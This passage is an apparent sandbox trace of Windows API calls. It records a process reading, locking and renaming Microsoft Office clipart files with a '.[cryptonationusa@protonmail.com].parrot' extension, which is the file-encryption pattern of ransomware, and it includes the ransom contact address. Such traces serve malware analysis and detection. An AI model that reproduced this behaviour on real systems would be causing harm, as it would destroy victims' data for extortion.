nNumberOfBytesToRead=0x1d08, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1d08, lpOverlapped=0x0) returned 1 [0138.331] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.332] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e20, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.332] CloseHandle (hObject=0x288) returned 1 [0138.332] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.335] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3208, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.335] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.336] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.337] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.337] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x30f0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x30f0, lpOverlapped=0x0) returned 1 [0138.338] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.339] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3208, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.339] CloseHandle (hObject=0x288) returned 1 [0138.339] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.342] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x678, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.342] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.342] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.344] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.344] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x560, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x560, lpOverlapped=0x0) returned 1 [0138.344] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.344] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x678, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.345] CloseHandle (hObject=0x288) returned 1 [0138.345] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.348] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb786, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.348] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.348] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.350] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.350] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb66e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xb66e, lpOverlapped=0x0) returned 1 [0138.352] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.353] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb786, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.353] CloseHandle (hObject=0x288) returned 1 [0138.353] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.356] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x55ec, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.356] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.356] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.357] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.357] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x54d4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x54d4, lpOverlapped=0x0) returned 1 [0138.359] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.360] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x55ec, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.360] CloseHandle (hObject=0x288) returned 1 [0138.360] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.363] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4710, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.363] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.363] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.365] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.365] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x45f8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x45f8, lpOverlapped=0x0) returned 1 [0138.366] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.366] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4710, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.366] CloseHandle (hObject=0x288) returned 1 [0138.366] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.369] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2d9c, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.369] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.369] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.482] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.482] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2c84, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2c84, lpOverlapped=0x0) returned 1 [0138.483] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.484] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2d9c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.485] CloseHandle (hObject=0x288) returned 1 [0138.485] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.491] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x49f4, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.491] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.491] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.493] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.493] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x48dc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x48dc, lpOverlapped=0x0) returned 1 [0138.494] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.494] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x49f4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.494] CloseHandle (hObject=0x288) returned 1 [0138.494] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.498] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4746, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.498] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.498] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.501] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.501] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x462e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x462e, lpOverlapped=0x0) returned 1 [0138.502] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.502] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4746, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.502] CloseHandle (hObject=0x288) returned 1 [0138.503] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.506] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x73f6, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.506] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.506] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.507] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.508] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x72de, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x72de, lpOverlapped=0x0) returned 1 [0138.509] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.510] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x73f6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.510] CloseHandle (hObject=0x288) returned 1 [0138.510] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.514] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb6ac, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.515] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.515] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.516] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.516] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb594, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xb594, lpOverlapped=0x0) returned 1 [0138.519] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.520] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb6ac, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.520] CloseHandle (hObject=0x288) returned 1 [0138.520] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.523] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x52c2, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.523] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.523] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.533] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.534] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x51aa, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x51aa, lpOverlapped=0x0) returned 1 [0138.536] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.537] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x52c2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.537] CloseHandle (hObject=0x288) returned 1 [0138.537] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.539] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x39a0, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.540] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.540] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.541] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.541] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3888, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3888, lpOverlapped=0x0) returned 1 [0138.542] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.543] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x39a0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.543] CloseHandle (hObject=0x288) returned 1 [0138.543] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.546] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1c00, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.546] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.546] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.547] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.548] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1ae8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1ae8, lpOverlapped=0x0) returned 1 [0138.548] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.549] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1c00, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.549] CloseHandle (hObject=0x288) returned 1 [0138.549] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0138.551] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e30, nNumberOfBytesToLockHigh=0x0) returned 1 [0138.551] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0138.551] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0138.553] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.553] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1d18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1d18, lpOverlapped=0x0) returned 1 [0138.554] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.554] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e30, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0138.554] CloseHandle 